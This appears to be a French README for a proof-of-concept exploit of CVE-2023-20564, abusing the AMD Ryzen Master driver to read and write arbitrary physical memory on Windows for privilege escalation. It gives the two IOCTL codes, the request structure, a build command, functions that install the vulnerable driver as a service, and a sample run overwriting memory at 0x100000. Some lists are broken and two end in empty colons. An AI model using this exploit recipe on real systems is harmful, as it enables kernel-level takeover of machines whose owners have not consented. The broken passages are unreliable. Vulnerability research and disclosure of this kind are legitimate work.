
Preuve de concept d'exploitation pour CVE-2023-20564 démontrant une lecture/écriture arbitraire de la mémoire physique via les gestionnaires IOCTL du pilote AMD Ryzen Master, permettant une élévation de privilèges sous Windows.
Ce dépôt contient une preuve de concept (PoC) démontrant la vulnérabilité CVE-2023-20564 dans le pilote AMD Ryzen Master. Cette vulnérabilité permet à des utilisateurs non privilégiés de lire et d'écrire dans la mémoire physique arbitraire, ce qui peut conduire à une élévation de privilèges et à un compromis du système.
Le pilote AMD Ryzen Master (AMDRyzenMasterDriverV17.sys) contient une validation insuffisante dans ses gestionnaires IOCTL, notamment :
0x81112F08 - Permet de lire la mémoire physique arbitraire0x81112F0C - Permet d'écrire dans la mémoire physique arbitraireLe pilote ne valide pas correctement :
Cela permet à des applications malveillantes de :
AMDRyzenMasterDriverV17.sys - Le fichier pilote vulnérable# manually
g++ -std=c++17 poc_demo.cpp -o poc_demo.exe -ladvapi32
typedef struct _AMDReadStructure {
LARGE_INTEGER PhysAddr; // Physical address to read
LARGE_INTEGER SizeAndData; // Size and data buffer
CHAR Buffer[1]; // Variable data buffer
} AMDReadStructure, *PAMDReadStructure;
ReadPhysicalMemory() - Lit depuis la mémoire physiqueWritePhysicalMemory() - Écrit dans la mémoire physiqueTestReadWriteVerify() - Séquence de test complèteInstallDriverService() - Installation du piloteStopAndRemoveDriverService() - Nettoyage du pilote===========================================
AMD Ryzen Master Driver - Memory PoC
===========================================
[*] Installing and starting driver service...
[+] Driver file found
[+] Service created successfully
[+] Service started successfully
[*] Initializing driver connection...
[+] Driver connection established successfully
[!] TESTING READ/WRITE/VERIFY SEQUENCE
[STEP 1] Reading original data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Read 8 bytes from 0x100000
Data: 4D 5A 90 00 03 00 00 00
[STEP 2] Writing test data...
[*] Writing 8 bytes to physical address 0x100000
Data: DE AD BE EF CA FE BA BE
[*] PHYSICAL MEMORY WRITE SUCCESS!
Wrote 8 bytes to 0x100000
[STEP 3] Verifying written data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Data: DE AD BE EF CA FE BA BE
[*] DATA VERIFICATION SUCCESS! Write/Read works correctly!
Le pilote vulnérable expose deux IOCTL principaux :
Lecture de la mémoire physique (0x81112F08)
Écriture dans la mémoire physique (0x81112F0C)
Rappel : Cet outil est réservé aux tests de sécurité autorisés. Obtenez toujours la permission appropriée avant de tester sur un système.